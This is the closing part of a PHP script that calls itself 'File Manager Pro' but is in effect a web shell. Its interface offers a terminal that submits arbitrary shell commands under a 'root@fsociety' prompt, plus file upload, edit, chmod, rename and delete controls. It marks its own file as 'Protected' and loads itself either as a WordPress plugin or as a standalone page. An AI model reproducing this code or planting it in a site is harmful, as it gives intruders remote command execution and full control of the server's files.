                            <div class="stat-value"><?= $this->formatBytes($total_size) ?></div>
                            <div class="stat-label">Total Size</div>
                        </div>
                        <div class="stat-card">
                            <div class="stat-value"><?= $this->formatBytes($free_space) ?></div>
                            <div class="stat-label">Free Space</div>
                        </div>
                    </div>

                    <!-- TERMINAL -->
                    <div class="section">
                        <div class="section-title">
                            <span>🖥️</span>
                            <span>Terminal</span>
                            <span class="badge badge-info" style="margin-left: auto;"><?= htmlspecialchars($terminal_cwd) ?></span>
                        </div>
                        <div class="terminal-box">
                            <div class="terminal-header">
                                <div class="terminal-dot red"></div>
                                <div class="terminal-dot yellow"></div>
                                <div class="terminal-dot green"></div>
                                <span class="terminal-title">root@filemanager — bash</span>
                            </div>
                            <?php if ($terminal_output): ?>
                            <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
                            <?php endif; ?>
                            <div class="terminal-input-area">
                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>">
                                    <span class="terminal-prompt">root@fsociety:~$</span>
                                    <input type="text" name="terminal-text" placeholder="Enter command (ls, cd, whoami, etc.)" autocomplete="off" autofocus id="terminalInput">
                                    <input type="hidden" name="terminal" value="1">
                                    <button type="submit">Execute</button>
                                </form>
                                <div class="quick-commands">
                                    <?php
                                    $commands = [
                                        'ls -la' => 'List files',
                                        'cd /' => 'Go to root',
                                        'cd ..' => 'Go up',
                                        'pwd' => 'Show path',
                                        'whoami' => 'User',
                                        'php -v' => 'PHP ver',
                                        'df -h' => 'Disk',
                                        'id' => 'User ID',
                                        'clear' => 'Clear'
                                    ];
                                    foreach ($commands as $cmd => $desc): ?>
                                    <span class="quick-cmd" title="<?= $desc ?>" 
                                          onclick="document.getElementById('terminalInput').value='<?= addslashes($cmd) ?>'; document.getElementById('terminalInput').focus();">
                                        $ <?= $cmd ?>
                                    </span>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        </div>
                    </div>

                    <!-- QUICK ACTIONS -->
                    <div class="section">
                        <div class="section-title">
                            <span>⚡</span>
                            <span>Quick Actions</span>
                        </div>
                        <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px;">
                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" class="form-inline">
                                <input type="text" name="newfolder" placeholder="New folder name" required>
                                <button type="submit" class="btn btn-success">📁 Create Folder</button>
                            </form>
                            
                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" class="form-inline">
                                <input type="text" name="newfile" placeholder="New file name" required>
                                <button type="submit" class="btn btn-primary">📄 Create File</button>
                            </form>
                            
                            <form method="post" enctype="multipart/form-data" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" class="form-inline">
                                <input type="file" name="files[]" multiple>
                                <button type="submit" class="btn btn-info">⬆️ Upload Files</button>
                            </form>
                        </div>
                    </div>

                    <!-- FILE BROWSER -->
                    <div class="section">
                        <div class="section-title">
                            <span>📂</span>
                            <span>File Browser</span>
                            <span style="margin-left: auto; font-size: 11px; color: #8b949e;">
                                <?= count($folders) + count($files) ?> items
                            </span>
                        </div>
                        
                        <div class="file-browser-container">
                            <table>
                                <thead>
                                    <tr>
                                        <th style="width: 40%;">Name</th>
                                        <th style="width: 10%;">Size</th>
                                        <th style="width: 12%;">Permissions</th>
                                        <th style="width: 15%;">Modified</th>
                                        <th style="width: 23%;">Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <!-- Parent directory -->
                                    <?php if ($current_dir !== $this->root_path): ?>
                                    <tr class="folder-row">
                                        <td colspan="5">
                                            <a href="<?= $base_url ?>&p=<?= urlencode($this->encodePath(str_replace($this->root_path, '', dirname($current_dir)))) ?>" style="display: flex; align-items: center;">
                                                <span class="file-icon">📂</span>
                                                <strong>.. (Parent Directory)</strong>
                                            </a>
                                        </td>
                                    </tr>
                                    <?php endif; ?>
                                    
                                    <!-- FOLDERS -->
                                    <?php foreach ($folders as $item): ?>
                                    <tr class="folder-row">
                                        <td>
                                            <span class="file-icon">📁</span>
                                            <?php
                                            $relative = str_replace($this->root_path, '', $item['path']);
                                            $encoded = $this->encodePath($relative);
                                            ?>
                                            <a href="<?= $base_url ?>&p=<?= urlencode($encoded) ?>">
                                                <strong><?= htmlspecialchars($item['name']) ?></strong>
                                            </a>
                                        </td>
                                        <td style="color: #8b949e;">—</td>
                                        <td>
                                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="margin: 0; display: inline-flex;">
                                                <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                                <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input">
                                                <button type="submit" class="btn btn-sm btn-warning">Chmod</button>
                                            </form>
                                        </td>
                                        <td style="font-size: 12px;"><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                        <td>
                                            <div class="actions">
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline-flex; gap: 4px;">
                                                    <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; font-size: 12px;" required>
                                                    <button type="submit" class="btn btn-sm btn-info">Rename</button>
                                                </form>
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline;">
                                                    <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <button type="submit" class="btn btn-sm btn-danger" onclick="return confirm('Delete folder <?= addslashes(htmlspecialchars($item['name'])) ?>?')">
                                                        Delete
                                                    </button>
                                                </form>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                    
                                    <!-- FILES -->
                                    <?php foreach ($files as $item): ?>
                                    <tr class="file-row">
                                        <td>
                                            <?php
                                            $icon = '📄';
                                            $ext = $item['extension'];
                                            $icons = [
                                                'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 
                                                'txt' => '📝', 'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
                                                'jpeg' => '🖼️', 'pdf' => '📕', 'zip' => '📦', 'sql' => '🗃️', 
                                                'json' => '📋', 'xml' => '📄', 'md' => '📖', 'log' => '📋',
                                                'rar' => '📦', 'tar' => '📦', 'gz' => '📦',
                                                'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mov' => '🎬',
                                                'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗'
                                            ];
                                            if (isset($icons[$ext])) $icon = $icons[$ext];
                                            ?>
                                            <span class="file-icon"><?= $icon ?></span>
                                            <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&view=<?= urlencode($item['name']) ?>" target="_blank">
                                                <?= htmlspecialchars($item['name']) ?>
                                            </a>
                                            <?php if (realpath($item['path']) === realpath(__FILE__)): ?>
                                            <span class="badge badge-protected">Protected</span>
                                            <?php endif; ?>
                                        </td>
                                        <td style="font-family: monospace; font-size: 12px;"><?= $this->formatBytes($item['size']) ?></td>
                                        <td>
                                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="margin: 0; display: inline-flex;">
                                                <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                                <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input">
                                                <button type="submit" class="btn btn-sm btn-warning">Set</button>
                                            </form>
                                        </td>
                                        <td style="font-size: 12px;"><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                        <td>
                                            <div class="actions">
                                                <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&edit=<?= urlencode($item['name']) ?>">
                                                    <button type="button" class="btn btn-sm btn-success">Edit</button>
                                                </a>
                                                <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&download=<?= urlencode($item['name']) ?>">
                                                    <button type="button" class="btn btn-sm btn-info">Download</button>
                                                </a>
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline-flex; gap: 4px;">
                                                    <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; font-size: 12px;" required>
                                                    <button type="submit" class="btn btn-sm btn-info">Rename</button>
                                                </form>
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline;">
                                                    <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <button type="submit" class="btn btn-sm btn-danger" onclick="return confirm('Delete file <?= addslashes(htmlspecialchars($item['name'])) ?>?')">
                                                        Delete
                                                    </button>
                                                </form>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                    
                                    <?php if (empty($folders) && empty($files)): ?>
                                    <tr>
                                        <td colspan="5" style="text-align: center; padding: 30px; color: #8b949e;">
                                            📭 This directory is empty
                                        </td>
                                    </tr>
                                    <?php endif; ?>
                                </tbody>
                            </table>
                        </div>
                    </div>
                <?php endif; ?>

                <!-- Footer -->
                <div class="footer">
                    <p><strong>File Manager Pro v10.0.3</strong> | Current Path: <?= htmlspecialchars($current_dir) ?></p>
                </div>
            </div>

            <script>
                document.addEventListener('DOMContentLoaded', function() {
                    const terminalInput = document.getElementById('terminalInput');
                    const terminalHistory = <?= json_encode(array_reverse(array_unique($terminal_history))) ?>;
                    let historyIndex = -1;
                    
                    if (terminalInput) {
                        terminalInput.focus();
                        
                        terminalInput.addEventListener('keydown', function(e) {
                            if (e.key === 'ArrowUp') {
                                e.preventDefault();
                                if (historyIndex < terminalHistory.length - 1) {
                                    historyIndex++;
                                    this.value = terminalHistory[historyIndex];
                                }
                            } else if (e.key === 'ArrowDown') {
                                e.preventDefault();
                                if (historyIndex > 0) {
                                    historyIndex--;
                                    this.value = terminalHistory[historyIndex];
                                } else {
                                    historyIndex = -1;
                                    this.value = '';
                                }
                            } else if (e.key === 'l' && e.ctrlKey) {
                                e.preventDefault();
                                this.value = 'clear';
                                this.form.submit();
                            }
                        });
                    }
                    
                    // Auto-resize textarea
                    const textarea = document.querySelector('textarea');
                    if (textarea) {
                        const adjustHeight = function() {
                            this.style.height = 'auto';
                            this.style.height = (this.scrollHeight) + 'px';
                        };
                        textarea.addEventListener('input', adjustHeight);
                        adjustHeight.call(textarea);
                        
                        textarea.addEventListener('keydown', function(e) {
                            if (e.key === 'Tab') {
                                e.preventDefault();
                                const start = this.selectionStart;
                                const end = this.selectionEnd;
                                this.value = this.value.substring(0, start) + '    ' + this.value.substring(end);
                                this.selectionStart = this.selectionEnd = start + 4;
                            }
                        });
                    }
                });
            </script>
        </body>
        </html>
        <?php
    }
    
    /**
     * Format bytes to human readable format
     */
    private function formatBytes($bytes, $precision = 2) {
        if ($bytes <= 0) return '0 B';
        
        $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);
        $bytes /= pow(1024, $pow);
        
        return round($bytes, $precision) . ' ' . $units[$pow];
    }
}

// Initialize
if ($is_wordpress) {
    // WordPress: hook into plugins_loaded
    add_action('plugins_loaded', function() {
        SidGifariFileManager::get_instance();
    });
} else {
    // Standalone: run directly
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    
    $root_path = getcwd();
    $manager = new SidGifariFileManager();
    $manager->init_standalone($root_path);
    $manager->run_standalone();
}